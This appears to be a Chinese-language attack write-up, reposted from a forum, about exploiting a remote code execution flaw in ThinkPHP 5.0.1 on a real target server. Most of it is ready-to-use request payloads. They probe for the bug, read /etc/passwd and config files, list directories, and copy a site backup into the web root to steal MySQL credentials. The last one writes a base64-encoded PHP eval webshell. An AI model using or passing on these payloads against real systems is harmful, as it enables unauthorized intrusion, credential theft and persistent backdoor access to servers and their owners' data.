判断是否存在漏洞
http://wwww.com/public
s=phpinfo()&_method=__construct&filter=assert
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1
http:/xxxx.com/?s=index/index/index
s=ipconfig&_mehthod=__construct$method=&filter[]=system上面是经过在论坛上面查来查去整理出来的thinkphp5.0.1的一个洞
我遇到的目标站是
thinkphp5.0.1
php5.6.31
linux主机
其中被禁用的函数有以下这些
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen那么目前来说只有一个assert的函数可以供我们使用
那我们的思路就很简单
1：如何写进去shell
2：想办法读取config文件直接获取mysql密码
include函数，可以根据此函数查看一些文件及其配置
s=include("/etc/passwd")&_method=__construct&filter=assert读取文件
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../application/.htaccess
s=include("../application/.htaccess")&_method=__construct&filter=assert
//ps:如果不加.. 请加上完整路径在读取出来文件之后，由于一些关键目录受到了管理员的更改，所以为了读取出来文件夹目录，我们用到了var_dump函数
var_dump函数，可以查看该路径下的文件，文件夹
s=var_dump(scandir('../application/'))&_method=__construct&filter=assert通过报错得知网站的目录是
/data/wwwroot/public/意外发现在/data/目录下有网站备份文件
复制文件
s=copy("/data/ws.tar", "/data/wwwroot/public/ws.tar")&_method=__construct&filter=assert
直接通过web下载下来，本地寻找config文件，连接进mysql
接下来是写入shell，我在网上 论坛里各种地方试了各种大佬发的poc都失败了。这里提供一个针对5.0.1版本研究出来的写入命令
file_put_contents函数，可以直接写入文件
s=file_put_contents('/data/wwwroot/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
转自tools